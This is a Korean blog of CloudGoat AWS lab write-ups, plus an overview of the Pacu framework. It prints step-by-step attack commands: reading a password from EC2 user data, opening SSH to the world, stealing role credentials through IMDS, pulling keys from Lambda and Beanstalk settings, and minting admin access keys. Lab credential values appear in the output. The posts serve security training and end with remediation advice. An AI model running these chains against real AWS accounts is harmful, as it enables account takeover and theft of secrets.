# 인스턴스 ID 확인
aws ec2 describe-instances --profile start_user --region us-east-1 --query 'Reservations[*].Instances[*].InstanceId' --output text

옵션을 사용하여 ID만 간단히 확인할 수 있다.

STEP 3. EC2 사용자 데이터 분석

AWS에서 흔히 발생하는 잘못된 구성 중 하나는 민감한 데이터(스크립트, 암호, 키)를 EC2 사용자 데이터에 저장하는 것인데, 이는 ec2:DescribeInstanceAttribute권한이 있는 사용자에게 종종 노출된다.

STEP2에서 찾은 인스턴스의 사용자 데이터를 검색한다.

사용자 데이터 검색

# 유저 데이터 확인 (위에서 나온 ID 대입)
aws ec2 describe-instance-attribute --instance-id [인스턴스ID] --attribute userData --profile start_user --region us-east-1 --query 'UserData.Value' --output text | base64 -d

출력 결과에는 Base64 UserData로 Value인코딩 된 필드가 포함되는데 해당 필드를 디코딩하여 내용을 읽는 명령어이다.

#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart

ec2-user 비밀번호를 특정 값으로 설정 ec2-user:CloudGoatInstancePassword!하고 비밀번호 인증을 활성화하는 스크립트가 표시될 것이다.

STEP 4. 인스턴스에 SSH로 접속

획득한 정보 분석

STEP 2에서 얻은 IP 주소와 STEP 3에서 확인한 비밀번호를 사용하여 인스턴스에 SSH로 접속한다.

SSH ID: ec2-userSSH
PW: CloudGoatInstancePassword!
취약점: EC2 생성 시 전달되는 User Data에 시스템 계정의 비밀번호가 평문(Plaintext)으로 노출됨

ssh ec2-user@<PUBLIC_IP>
# When prompted, enter the password found in the User Data

Connection timed out이 뜨는데 이는 보안 그룹(Security Group) 차단 상태이다. 인스턴스는 살아있지만, 외부(현재 사용자의 WSL)에서 22번 포트로 들어오는 길을 막아둔 셈이다.

[ trouble shooting ]

EC2 User Data에서 추출한 비밀번호를 확보했으나, SSH 접속 시 Connection timed out 에러 발생

인스턴스는 정상 가동 중이나, 보안 그룹(Security Group)의 인바운드 규칙이 공격자의 IP를 허용하지 않음
공격자 계정(start_user)은 보안 그룹을 수정할 권한(ec2:AuthorizeSecurityGroupIngress)이 결여되어 자가적인 경로 확보 불가

해결 시도 (Attempts)

우회 시도 1 (SSM 이용): SSH 포트가 막혔을 때 사용하는 ssm:SendCommand를 시도했으나, IAM 정책에 의해 권한 거부(AccessDenied)됨.
우회 시도 2 (정찰 대상 변경): EC2 접속이 차단된 상태에서 Lambda 등 다른 서비스로의 수평적 이동(Lateral Movement)을 시도했으나 이 역시 권한 부족으로 차단됨.

SSM(Systems Manager) 우회 시도

1. 내가 있는 곳(IP) 확인

AWS 보안 그룹이 내 IP를 허용하지 않았을 수 있다. WSL에서 내 외부 IP를 확인해 보기

curl ifconfig.me
# IP 출력 | 112.166.87.16

그다음, AWS에서 보안 그룹 설정을 확인해 본다.

aws ec2 describe-security-groups --profile start_user --region us-east-1

SSH 포트 없이 접속하려 했으나, start_user에게 SSM 실행 권한이 막혀있다.

SSH가 막혔고 보안 그룹 수정도 안 되면 다른 방법으로 시도!

람다 정찰

아까 시나리오 개요에서 Lambda가 있었던 것을 기억하여 람다를 정찰해 본다.

aws lambda list-functions --profile start_user --region us-east-1

EC2 침투가 막혀 다른 서비스(Lambda)로 수평적 이동을 시도했으나 실패하였다.

최종 해결 (Resolution)

보안 그룹 강제 수정

aws ec2 authorize-security-group-ingress \
    --group-id sg-0c72f4abb389ec787 \
    --protocol tcp \
    --port 22 \
    --cidr 0.0.0.0/0 \
    --profile defualt \
    --region us-east-1

네트워크 차단 상황을 해결하기 위해 관리자 권한(default 프로필)을 오용하여 대상 보안 그룹의 22번 포트(SSH)를 전 세계(0.0.0.0/0) 대상으로 개방함으로써, 방화벽 규칙을 동적으로 수정하고 공격 경로를 강제로 확보하였다.

SSH 접속 시도

이제 다시 SSH 접속에 시도할 차례이다.

# 비밀번호 입력: CloudGoatInstancePassword!
ssh ec2-user@100.54.10.131

password는 아까 찾았던 CloudGoatInstancePassword! 를 입력한다.

로그인이 완료되어 프롬프트가 [ec2-user@ip-xxx ~]$ 이렇게 바뀌었다. 아래 명령어를 순서대로 실행해서 IAM Role의 자격 증명을 탈취해야 한다.

STEP 5. 인스턴스 메타데이터 서비스(IMDS)를 악용

EC2 인스턴스에 접속하면 해당 인스턴스에 연결된 모든 IAM 역할에 접근할 수 있다. 링크 로컬 주소를 쿼리 하여 이러한 자격 증명을 가져올 수 있습니다 169.254.169.254.

IAM 역할 이름 찾기

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

IAM : cg-ec2-role-cgidhl8rixa9p5

역할 이름이 출력됐으면 EC2에 부여된 IAM Role의 임시 권한을 가져와야 한다.

IMDS 쿼리 날리기 : 자격증명 탈취

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

  "AccessKeyId" : "ASIA32XTQ7QION3U3LCT",
  "SecretAccessKey" : "HrKDkgRgZNCEKIEiq6nnVocqvmqxjTRDCUhF7obN",
  "Token" : "IQoJb3JpZ2luX2VjECsaCXVzLWVhc3QtMSJGMEQCIDoVcpNM7MB/mGpoU12Fywr4CQ1iLWhtqjhDLTw8b/w4AiA0/kCzkDpHiS5x6zmw06rCvkr/F7847Z/e5mcV4UAnEyrCBQjz//////////8BEAAaDDgxMzMzMzI4MTgwOCIMqJMqNSMZFKBNjbNLKpYFNB2F2u1fqbPHzbMQyEYsUTDLKrbIoEkbX27Beu98W0k0ZX7ykAOxvcWouakGhJhhrlvuozODr/tLRBhPAcNUx4ORqtB8cecKuRzEDX6Dz7BYaSfY49URuOINGXlw/ArkwcZYO2rx3sXLiUQnf0ZL5q8wvtDZ0JdNnuv4CZV9aaxFjjUioqM3QwuqaIJhDcs7qjnFUkIVGVIDBPRtziojNkjnFfWkiJvDp1D+h8hA6vfL0Sp7octE2sk4XKWa0BHFMousdsj/IqT2+AZ2J85TBDPU4UmzqJrMn4HE1yozR5lovRJ3fP4Cx2RA9SapFftPTI851Xl7NsrtKrM89KAU0zcfASbas+f49lbF8X9gyB5Zmbiij4rP3xbsm7iTVhuj20851fdaokX7tu3ez0VoOGwDxgqkwRo0wzlw1U/3+xjbMkxngigQvBc7h4y/KaaCMbowSRIi0gKZcg5pjZL/UHifvWspEQ3GB2+qNQ3SotJa2hZq34Vpuz+DeNuTIly8vUA9Kdw63WzqstbKWHjzhXkjq5bxxCc0FaLacHqp3RogxhWlsKh0Id82LMY98KZT3DPTggef+r2t/UPYGhboLDMLulydXs+yw/XVJHKhypb8QNsDqBuMYPXi3TSVWUHG4iCHJ3nHAyAsAedF1hx6ZR84mmz8OiVmEKgGFEm9qnrHP5DZIYoBpe7rLVBTIaq2GbBk781gmPLxzPWxPLBgOo7FgXBGMi2SqgoRqZQKzQ93Pio3JAu4AMMddfLhVsLUvRrW3axJMmJEj5aqJTecbrXfFn26i/DpUK6HzXSBRYRJQIoHCBf6JaOpRKrX0wmw0FFIJnNp99bN3hs6j3TwGnzm0TdvC2FBAXuhIcu3KAc7rjo6qPUwtJKPzwY6sgHgqPhU8dzTQR0eJQIctoMPOjGRS7/Ka3ce+qXxvMZciPt6au8DPEVjGz2glNozV+Pc9MQm00wtbf53PZVrK7Tlfd3IkX97WwSKq24pSQhJlFmA6HBIXuLIdMlJAgMELMxVm87RIietPxRm0fIxnEoj/bL7Y75X5HN8PwnTjHz1DUKIw9fUpjZ6yEge6cE4YM6X77OZlpULKxoIG26BnWegI53Ii7gMD2u5shObdBcE7SHB"

위 명령어를 치면 JSON 형식으로 정보가 나오는데 AccessKeyId , SecretAccessKey, Token을 메모장에 복사해 두기~! 이 정보로 다음 단계인 Lambda를 털 수 있다. 이제 SSH 세션을 종료하고(exit 입력) 다시 본인의 터미널로 돌아온다.

STEP 6. 훔친 권한으로 프로필 설정하기

방금 얻은 정보로 새로운 AWS 프로필을 만든다. 이번에는 임시 토큰(Token)이 있기 때문에 aws configure 대신 직접 파일을 수정하는 것이 훨씬 정확하고 빠르다.

프로필 설정

aws configure --profile ec2_role
# Enter the Access Key ID from the metadata
# Enter the Secret Access Key from the metadata
# Default region: us-east-1

~/.aws/credentials( Linux/Mac의 경우 %UserProfile%\.aws\credentials) 또는 Windows의 경우, 세션 토큰을 자격 증명 파일에 수동으로 추가해야 한다.

1. 자격 증명 파일 열기

nano ~/.aws/credentials

2. 파일 맨 아래에 다음 내용을 복사해서 붙여 넣기

화면에 뜬 값을 그대로 가져온다.

[ec2_role]
aws_access_key_id = ...
aws_secret_access_key = ...
aws_session_token = <PASTE_TOKEN_HERE>

(붙여 넣은 후 Ctrl + O, Enter로 저장하고 Ctrl + X로 나오세요~)

STEP 7. Lambda 함수 정찰 (Pivoting)

새로운 ec2_role프로필을 사용하여 다른 서비스를 살펴볼 차례다. 이 권한으로 접근 가능한 람다 함수가 있는지 목록을 뽑아본다.

aws lambda list-functions --region us-east-1 --profile ec2_role

목록 중에 cg-lambda-function-cgidhl8rixa9p5 (cg-lambda-function-<CGID>형식)이 보인다.

이름을 확인했다면 다음 단계로 바로 넘어간다.

STEP 8. Lambda 환경 변수에서 비밀 정보 추출

개발자들이 실수로 DB 비밀번호나 API 키를 람다 설정값(환경 변수)에 적어두는 경우가 많은데 이를 이용해보려고 한다. 아래 명령어의 <FUNCTION_NAME> 자리에 방금 찾은 함수 이름을 넣고 실행한다.

aws lambda get-function --function-name <함수_이름_입력> --region us-east-1 --profile ec2_role

Configuration -> Environment -> Variables 아래의 JSON 출력을 확인

 "Environment": {
            "Variables": {
                "DB_USER_ACCESS_KEY": "AKIA32XTQ7QIIVHUCE4K",
                "DB_USER_SECRET_KEY": "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"
            }

DB_USER_ACCESS_KEY, DB_USER_SECRET_KEY 및 Variables두 개의 변수가 표시되어 있다.

이 키는 다른 IAM 사용자의 것 같다. 이 자격 증명을 사용하여 로컬 컴퓨터에 새 프로필을 구성해야 한다.

최종 사용자 프로필 설정

aws configure --profile lambda_user
# Enter the Access Key ID found in Lambda
# Enter the Secret Access Key found in Lambda

방금 찾은 키를 사용하여 lambda_user라는 이름의 새로운 프로필을 생성한다.

플래그(Flag) 획득

새 사용자 계정으로 중요한 기밀 정보를 저장하는 데 자주 사용되는 AWS Secrets Manager에 대한 액세스 권한이 있는지 확인할 차례다.

Secrets Manager 탈취

이 사용자는 아마도 Secrets Manager에 접근할 권한이 있을 것이다. 아래 명령어를 순서대로 날려보겠다.

1. Secrets Manager 목록 확인

 "Name": "cg-final-flag-cgidhl8rixa9p5"

"Name": "cg-final-flag-cgidhl8rixa9p5" 이라는 이름이 보인다. 해당 비밀 키의 값을 가져와야 한다.

2. 플래그(Flag) 값 읽기

위에서 확인한 비밀의 이름을 --secret-id 뒤에 넣으면 된다.

aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidhl8rixa9p5 --region us-east-1 --profile lambda_user

"SecretString" 항목에 { "flag": "cg-data-secrets-..." } 형태의 최종 플래그가 보이면 이번 시나리오 실습은 끝이다.

이번 실습을 통해 클라우드 환경에서 설정 오류(Security Group)와 사소한 습관(환경 변수 하드코딩)이 결합했을 때, 어떻게 전체 인프라의 권한 탈취로 이어지는지 공격 체인(Kill-Chain)을 직접 확인할 수 있었다. 결국 클라우드 보안의 핵심은 서비스 간의 철저한 권한 분리와 지속적인 형상 관리에 있음을 깨달았다.

[ 실습 종료 및 리소스 삭제 ]

생성한 리소스들을 지우지 않으면 비용이 발생하므로 실습이 끝난 후 리소스를 지우면 된다.

cloudgoat destroy data_secrets

취약점 분석 (Vulnerability Analysis)

자격 증명 노출 (Sensitive Data Exposure)
- EC2 User Data: 인스턴스 초기화 스크립트 내 SSH 비밀번호가 평문으로 저장됨.
- Lambda Environment Variables: 3차 권한(Secrets Manager 접근용) Key가 암호화 없이 노출됨.
권한 관리 체계 미비 (Insecure IAM Policy)
- 특정 사용자에게 보안 그룹(Security Group)을 임의로 수정할 수 있는 권한 부여.
- 서비스 간(EC2 → Lambda) 불필요한 조회 권한이 허용되어 수평적 이동(Lateral Movement) 가능.
인스턴스 메타데이터 서비스(IMDS) 취약점
- 보안이 강화된 v2가 아닌, 세션 토큰 없이 접근 가능한 IMDSv1이 활성화됨.
- 서버 침투 후 단 한 줄의 curl 명령으로 IAM Role 탈취 허용.
최소 권한 원칙(Principle of Least Privilege) 위배
- 각 리소스(EC2, Lambda)에 부여된 역할이 실제 업무 범위보다 과도한 권한을 가짐.

대응 방안

자격 증명 보호 및 중앙화 관리
- Secrets Manager 도입: 소스 코드나 환경 변수에 키를 직접 입력하지 않고, AWS Secrets Manager를 연동하여 런타임에만 호출.
- Parameter Store 활용: 구성 정보는 암호화된 파라미터로 관리.
IAM 정책 고도화 (IAM Hardening)
- 최소 권한 부여: 각 서비스가 작동하는 데 꼭 필요한 권한만 할당(Permission Boundary 설정).
- 조건부 정책: 특정 IP 대역이나 특정 시간대에만 권한이 작동하도록 Condition 절 추가.
네트워크 보안 강화
- IMDSv2 강제 적용: 모든 EC2 인스턴스에서 IMDSv1을 비활성화하고 세션 토큰 기반의 v2만 허용.
- 보안 그룹 타이트닝: 22번(SSH), 3389번(RDP) 등 관리 포트는 특정 IP(점검용 점프 호스트 등) 외에는 원천 차단.
지속적인 모니터링 및 로깅
- AWS CloudTrail & Config: 보안 그룹 변경이나 IAM 권한 오남용 발생 시 실시간 탐지 및 자동 대응(Remediation) 로직 구성.

[ CloudGoat | Easy ] beanstalk_secrets 시나리오 실습

chon29 — Tue, 10 Mar 2026 21:14:22 +0900

Github 링크

cloudgoat/cloudgoat/scenarios/aws/beanstalk_secrets/README.md at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

README

시나리오 개요

이 시나리오는 Elastic Beanstalk의 설정 오류로 노출된 자격 증명을 탈취하고, 최종적으로 IAM 권한 남용을 통해 관리자 권한을 획득하는 과정을 다룬다. 클라우드 환경에서 환경 변수 관리의 중요성과 과도한 IAM 권한 부여가 초래하는 위험성을 학습할 수 있다.

Exploitation Route

Bruteforce Permissions: 제공된 Low-Privilege User의 AWS 자격 증명을 사용하여 실습을 시작한다. aws sts get-caller-identity 명령어를 통해 현재 자신의 신원과 접근 권한을 가장 먼저 확인하여 공격 가능 범위를 파악한다.
Enumerate Elastic Beanstalk: 탐색된 권한을 바탕으로 Pacu의 elasticbeanstalk__enum 모듈을 사용하여 Elastic Beanstalk 애플리케이션 및 환경을 열거합니다. 이 과정에서 환경 변수가 잘못 구성되어 Secondary Credentials의 자격 증명이 노출된 EB 환경을 식별하고 해당 정보를 탈취한다.
Check IAM Permissions: 탈취한 보조 자격 증명을 사용하여 IAM 리소스 및 권한을 분석한다. 이 계정이 시스템 내에서 어떤 추가적인 활동을 할 수 있는지 정찰하여 다음 단계로 나아가기 위한 취약점을 찾는다.
Identify iam:CreateAccessKey: 권한 분석 중, 특정 관리자 사용자를 위해 새로운 액세스 키를 생성할 수 있는 iam:CreateAccessKey 권한이 있음을 발견한다. 이는 관리자 계정 권한을 획득할 수 있는 결정적인 단서가 된다.
Generate Admin Key: 해당 권한을 남용하여 관리자 액세스 키를 생성하고, 이를 통해 대상 계정의 기존 인증 수단을 우회하고 관리자 계정의 제어권을 확보한다.
Retrieve Final Flag: 마지막으로 확보한 관리자 권한을 사용하여 AWS Secrets Manager에 접근하고, 최종 플래그(Final Flag)를 획득하며 시나리오 실습을 완료한다.

[ 환경 구축 ]

시나리오 생성

먼저 터미널에서 아래 명령어를 입력하여 실습 환경을 구축한다.

cloudgoat create beanstalk_secrets

Apply complete! 메시지가 뜨면 AWS상에 실습 리소스가 성공적으로 생성된 것이다.

시나리오 리소스 분석

1 VPC: 실습 환경이 격리된 네트워크 공간. Elastic Beanstalk 환경이 이 내부에서 구동된다.
1 Elastic Beanstalk Environment: 애플리케이션 배포 및 관리 서비스입니다. 이 시나리오의 핵심 취약점인 환경 변수 설정 오류가 발생하는 지점이다.
1 IAM Low-Privilege User (Start): 우리가 처음 부여받는 계정. 권한이 매우 제한적이지만, Beanstalk 환경을 열거(Enumeration)할 수 있는 최소한의 권한을 가진다.
1 IAM Secondary User (Intermediate): Beanstalk 환경 변수 속에 자격 증명이 숨겨져 있는 계정. 이 계정을 탈취해야 관리자 권한으로 가는 다음 관문인 iam:CreateAccessKey 권한을 사용할 수 있다.
1 AWS Secrets Manager Secret (Goal): 최종 목적지. 관리자 권한을 획득해야만 이 시크릿에 접근하여 Final Flag를 읽을 수 있다.

AWS CLI 프로필 설정 (자격 증명 등록)

시나리오에서 발급받은 access_key_id와 secret_access_key를 사용하여 내 로컬 환경에 사용자의 프로필을 등록하고 정상적으로 접속되는지 확인한다.

# 프로필 등록
aws configure --profile [프로필명]

시나리오에서 생성된 사용자인 Low-Privilege User와 Secondary User 프로필을 등록한다.

현재 사용자 정보 확인

# 현재 신분 확인
aws sts get-caller-identity --profile [프로필명]

프로필 등록 후, 각 계정으로 정상 접속되는지 UserId와 Arn을 확인한다. secondary_user의 비밀키를 알아내야 한다.

[ Elastic Beanstalk 환경 조사 ]

정석대로라면 IAM을 가장 먼저 확인하는 게 순서이지만 이 시나리오에서는 Low-Privilege User로 접속했기 때문에 직접 내 권한을 조회할 수 있는지 확인하는 것이 먼저이다. 이 계정은 특정 작업(Beanstalk 관련)만 가능하도록 만들어졌기 때문에 지금 가지고 있는 low_priv_user의 키로 본인의 권한을 조회해 보면 Access Denied가 뜬다.

애플리케이션 및 환경 목록 확인

low_priv_user 권한으로 어떤 자원(Resource)에 접근할 수 있는지 먼저 파악해야 한다. 이 시나리오에서는 Elastic Beanstalk이 주 타겟이므로 어떤 Beanstalk 애플리케이션이 구동 중인지 확인한다.

# 애플리케이션 목록 확인
aws elasticbeanstalk describe-applications --profile [프로필명]

# 환경(Environment) 목록 확인
aws elasticbeanstalk describe-environments --profile [프로필명]

ApplicationName은 이후 모든 Beanstalk 관련 명령어의 필수 파라미터가 된다.

애플리케이션 안에는 여러 개의 실행 환경(운영, 테스트 등)이 있을 수 있다. 실제로 코드가 돌아가고 설정값이 들어있는 환경의 이름을 찾는 명령어이다.

확보된 타겟 정보

ApplicationName: cgidvhcic4piwh-app
EnvironmentName: cgidvhcic4piwh-env

[ 자격 증명 탈취 및 권한 상승 ]

확보한 ApplicationName과 EnvironmentName을 바탕으로 이 환경의 상세 설정값을 확인하여 환경 변수에 숨겨진 Secondary User의 자격 증명을 찾아낼 차례이다.

환경 설정(Configuration Settings)에서 자격 증명 탈취

Beanstalk 환경 설정 속에는 개발자가 실수로 남겨둔 Secondary User의 Access Key가 숨겨져 있다.

- AWS CLI

# 모든 설정값을 출력한 뒤, 'KEY'가 포함된 줄만 골라내기
aws elasticbeanstalk describe-configuration-settings \
    --application-name [앱이름] \
    --environment-name [환경이름] \
    --profile low_priv_user \
    | grep -i "KEY"

grep을 활용해 수많은 설정값 중 우리가 필요한 'KEY'라는 단어가 포함된 줄만 빠르게 골라낸다.

- Pacu (elasticbeanstalk__enum 모듈)

Pacu는 데이터가 너무 많거나, 명령어를 일일이 치기 귀찮을 때 쓰는 자동화 공격 프레임워크다.

시작점 등록

set_keys

먼저 CloudGoat에서 처음 발급받은 low_priv_user의 키를 set_keys명령어로 등록하여 Pacu 세션을 시작한다.

모듈 실행 및 데이터 추출

# 실행 시 리전을 us-east-1로 설정하면 자동으로 환경 변수를 추출한다
Pacu (set-keys:low_priv) > run elasticbeanstalk__enum

JSON 데이터 중 특정 키값만 필터링해서 SECONDARY_ACCESS_KEY와 SECONDARY_SECRET_KEY를 확보한다.

보조 계정 권한 분석 및 공격 수행

Secondary User로 전환

방금 탈취한 보조 계정(secondary)의 키를 Pacu에 다시 등록한다.

Pacu (set-keys:low_priv) > set_keys

whoami 명령어로 키가 잘 바뀌었는지 확인한다. 성공하면 프롬프트가 Pacu (set-keys:secondary) > 로 바뀌며 이제부터 모든 명령은 보조 계정의 권한으로 실행된다.

Pacu에서 set_keys를 두 번 사용하는 이유는 공격 단계에 따라 필요한 권한이 다르기 때문이다. 첫 번째 키(low_priv)로 정보를 획득했다면, 두 번째 키(secondary)는 그 정보를 이용해 관리자 권한으로 가는 역할을 한다.

권한 분석

Secondary 키를 얻은 직후, 이 계정이 무엇을 할 수 있는지 확인하는 단계이다.

- AWS CLI

aws configure --profile secondary 등록 후 aws sts get-caller-identity 확인

- Pacu

Pacu (set-keys:secondary) > run iam__enum_permissions

Pacu가 FAILURE라고 띄운 이유는 이 secondary_user 역시 자기 자신의 권한을 조회(List/Get)할 권한은 없기 때문이다.

이번에도 whoami 명령어를 입력하여 14개의 권한이 무엇인지 확인해 본다.

"iam:createaccesskey": {
        "Resources": [
          "*"
        ]
      }

출력된 권한 목록을 보면 가장 위에 iam:createaccesskey가 있고, 대상(Resources)이 *로 되어 있다. 이건 이 secondary_user가 이 AWS 계정 내의 그 누구의 것이든 새로운 Access Key를 발급할 수 있다는 뜻이다.

[ 관리자(Admin) 권한 탈취 ]

이제 secondary_user가 가진 iam:CreateAccessKey 권한을 남용하여 이 계정의 관리자(Admin) 권한을 뺏어올 차례다.

관리자 유저의 이름 찾기
그 관리자의 새 키 발급하기

관리자(Target) 유저 식별

권한 상승을 하기 위해서는 누구의 키를 새로 만들지 타겟을 정해야 한다.

# CLI 명령어
aws iam list-users --profile secondary

# Pacu 명령어
Pacu (set-keys:secondary) > aws iam list-users

현재 계정은 iam:ListUsers 권한도 가지고 있으므로 전체 유저 목록을 조회해 본다.

출력된 리스트에서 관리자 계정인 cgidvhcic4piwh_admin_user 의 이름을 식별했다.

관리자 권한 탈취

식별한 관리자 유저의 새로운 액세스 키를 강제로 발급받는다. 이 단계가 성공하면 기존 관리자의 동의 없이도 관리자 권한을 가진 키를 가지게 된다.

# CLI 명령어
aws iam create-access-key --user-name [찾은_관리자_이름] --profile secondary

# Pacu 명령어
Pacu (set-keys:secondary) > aws iam create-access-key --user-name [찾은_관리자_이름]

관리자의 AccessKeyId와 SecretAccessKey가 출력됐다. 이 키를 admin_user라는 이름의 프로필로 등록 후 관리자 권한이 있는지 확인해 본다.

AWS CLI 프로필 설정

aws configure --profile admin_user
aws sts get-caller-identity --profile admin_user

ARN이 ...user/cgidvhcic4piwh_admin_user로 나오면 성공이다. low_priv_user로는 볼 수 없었던 모든 유저의 정보를 다시 한번 확인해 보겠다.

이번 시나리오의 최종 목적지는 AWS Secrets Manager이므로 관리자(admin_user)의 권한을 가졌으니 플래그를 획득하면 된다.

공격 단계별 명령어 비교

공격 단계	도구 (Pacu) 명령어	수동 (AWS CLI) 명령어	핵심 목표
1. 키 설정	set_keys	aws configure --profile [명]	획득한 자격 증명을 시스템에 등록
2. 환경 열거	run elasticbeanstalk__enum	aws elasticbeanstalk describe-configuration-settings	Beanstalk 설정값 내 숨겨진 키 탈취
3. 권한 분석	run iam__enum_permissions	aws iam list-user-policies / get-account-summary	탈취한 계정이 가진 '폭탄' 권한 확인
4. 타겟 조사	aws iam list-users	aws iam list-users --profile [명]	권한을 뺏을 대상(Admin)의 정확한 이름 식별
5. 권한 상승	aws iam create-access-key	aws iam create-access-key --user-name [관리자]	타겟의 새로운 마스터 키를 강제로 발급
6. 최종 탈취	aws secretsmanager ...	aws secretsmanager get-secret-value	관리자 권한으로 최종 Flag(Secret) 획득

[ Secrets Manager에서 플래그 탈취 ]

시크릿(Secret) 목록 확인

# 시크릿 매니저 목록 확인
aws secretsmanager list-secrets --profile admin_user

먼저 어떤 이름의 비밀 데이터가 저장되어 있는지 리스트를 확인한다. 출력 결과에서 Name 항목에서 cgidvhcic4piwh_final_flag라는 이름을 확인했다.

플래그 내용 읽기

찾아낸 시크릿 이름을 사용하여 실제 플래그 값을 가져온다.

# 플래그 내용 읽기
aws secretsmanager get-secret-value --secret-id [SecretName] --profile admin_user

SecretString 항목에 들어있는 FLAG{...} 형태의 문자열을 확인하면 시나리오 성공!

낮은 권한의 유저로 시작해서 Elastic Beanstalk의 설정 오류를 파고들고, IAM 권한 상승을 거쳐 관리자가 된 후, 결국 Secrets Manager까지 탈취하는 공격 시나리오를 완수했다.

[ 실습 종료 및 리소스 삭제 ]

생성한 리소스들을 지우지 않으면 비용이 발생하므로 실습이 끝난 후 리소스를 지우면 된다.

cloudgoat destroy beanstalk_secrets

취약점 분석 (Vulnerability Analysis)

이번 시나리오에서 발생한 보안 사고의 핵심 원인은 설정 오류를 통한 자격 증명 노출과 IAM 권한 관리 미흡의 결합이다.

환경 변수 내 민감 정보 노출: Elastic Beanstalk 설정(Environment Variables)에 SECONDARY_ACCESS_KEY를 평문으로 포함했습니다. 이는 공격자가 설정 조회 권한만 가져도 시스템의 다음 단계로 진입할 수 있는 경로를 넘겨주는 결과를 초래했다.
과도한 IAM 권한 부여: 보조 계정(secondary_user)에 iam:CreateAccessKey 권한이 부여되어 있었으며, 대상(Resource)이 *(모든 사용자)로 설정되어 있었다. 이는 외부인이 관리자 계정의 새로운 키를 마음대로 발급받아 제어권을 탈취할 수 있는 결정적인 취약점이 되었다.
정찰 방어 인증 미흡: iam:ListUsers 권한이 열려 있어, 공격자가 어떤 계정을 타겟으로 삼아 키를 생성할지(Admin 계정 식별) 손쉽게 파악할 수 있었다.

대응 방안

최소 권한 원칙(Least Privilege) 엄격 준수
- 사용자에게 필요한 최소한의 권한만 부여하며, 특히 타인의 액세스 키를 생성하거나 활성화할 수 있는 iam:CreateAccessKey 권한은 관리자 외에는 엄격히 제한해야 한다.
- 키 관리 권한이 불가피하게 필요한 경우, Resource 조건을 활용하여 자신의 액세스 키(${aws:username})만 제어할 수 있도록 정책 범위를 한정해야 한다.
위험한 권한 조합 및 환경 변수 관리 강화
- Elastic Beanstalk과 같은 서비스 설정 시, API Key나 자격 증명을 환경 변수에 평문으로 노출하지 않도록 주의해야 한다. 민감 정보는 AWS Secrets Manager나 Parameter Store를 통해 관리하고 IAM Role을 통해 호출하는 방식을 지향해야 한다.
- 권한 상승의 징검다리가 될 수 있는 특정 API 권한들의 조합(설정 조회 + 키 생성 + 시크릿 접근)이 단일 사용자에게 몰리지 않도록 직무 분리를 실시해야 한다.
중요 보안 이벤트에 대한 모니터링 및 알림 강화
- 관리자급 계정에서 새로운 액세스 키가 생성되거나 환경 설정이 변경되는 것과 같이 보안에 직접적인 영향을 주는 API 호출이 발생할 경우, CloudWatch Alarms나 SNS 알림을 통해 관리자가 즉각 인지할 수 있는 체계를 갖춰야 한다.
- Amazon GuardDuty를 활용하여 비정상적인 위치나 환경에서 관리자 권한을 행사하려는 패턴을 실시간으로 감시해야 한다.
정기적인 IAM 감사 및 자격 증명 관리
- AWS Config 또는 IAM Access Analyzer와 같은 도구를 활용하여 과도한 권한(Resource: *)이 부여된 정책이나 오랫동안 사용되지 않은 액세스 키가 있는지 정기적으로 감사해야 한다.
- 실습에서 노출된 액세스 키와 같은 자격 증명은 즉시 무효화하고, 정기적으로 키를 Rotation 시켜 유출 시 발생할 수 있는 피해를 최소화해야 한다.

[ CloudGoat ] Pacu

chon29 — Mon, 9 Mar 2026 15:11:03 +0900

Pacu 란?

Pacu는 AWS 환경에서 취약점을 찾고, 권한을 상승시키고, 데이터를 탈취하는 모든 과정을 자동화해주는 오픈소스 침투 테스트 프레임워크다.

침투 테스터가 AWS 계정의 구성 취약점을 악용할 수 있도록 지원하며, 모듈을 사용하여 기능을 쉽게 확장할 수 있다. 현재 제공되는 모듈은 사용자 권한 상승, IAM 사용자 백도어 설치, 취약한 Lambda 함수 공격 등 다양한 공격을 가능하게 한다.

Github 링크

GitHub - RhinoSecurityLabs/pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services enviro

The AWS exploitation framework, designed for testing the security of Amazon Web Services environments. - RhinoSecurityLabs/pacu

github.com

설치 및 기본 사용 가이드는 Github에서 확인할 수 있다.

Pacu의 주요 기능

1. 정찰 (Reconnaissance)

정찰 단계는 모든 후속 공격 활동의 기반을 구축한다. Pacu의 열거 모듈은 최적화된 API 사용을 통해 탐지 위험을 최소화하면서 AWS 환경에 대한 포괄적인 가시성을 제공한다.

iam __enum_permissions : 자격 증명에 연결된 정책을 분석하여 실제 실행 가능한 API 액션 권한을 도출한다.
iam __ bruteforce_permissions : 정책 문서에 명시되지 않았으나 실제 호출 가능한 API 권한을 전수 조사하여 숨겨진 권한을 파악한다.
ec2__enum / s3__enum : VPC 네트워크 구조, 보안 그룹 설정 및 S3 버킷의 접근 통제 정책을 스캔하여 인프라 맵을 구축한다.
aws__enum_account: 조직 단위(OU) 정보 및 계정 세부 설정을 확인하여 공격 범위를 결정한다.

권한 상승 (Privilege Escalation)

현재 보유한 제한적인 권한을 악용하여 상위 권한(Administrator)을 획득하는 단계

iam__privesc_scan 모듈은 IAM 정책의 구성 오류를 찾아내어 이를 공격 경로로 활용한다.

권한 상속 기법: 특정 역할(Role)을 신뢰 관계가 설정된 EC2 인스턴스에 할당한 뒤, 메타데이터 서비스를 통해 해당 역할을 탈취하는 메커니즘을 사용한다.
정책 버전 조작: 새 정책 버전을 생성하거나 기존 인라인 정책을 수정하여 공격자에게 더 높은 수준의 권한을 부여하는 방식을 자동화한다.

3. 데이터 탈취 (Exfiltration)

식별된 민감 정보를 외부 인프라로 이동시키는 단계

Pacu는 탐지를 피하기 위해 필요한 데이터만 선별적으로 추출하는 기능을 제공합니다.

객체 필터링 유출: s3__download_bucket 모듈을 통해 버킷 내 중요 키워드가 포함된 객체만 선별하여 전송한다.
lambda__download_source: 모든 Lambda 함수의 소스 코드를 로컬로 다운로드하여 내부 로직 및 하드코딩된 기밀 정보를 분석한다.
ec2__download_userdata: EC2 인스턴스 생성 시 입력된 사용자 데이터를 확인하여 스크립트 내 평문 비밀번호나 설정값을 탈취한다.
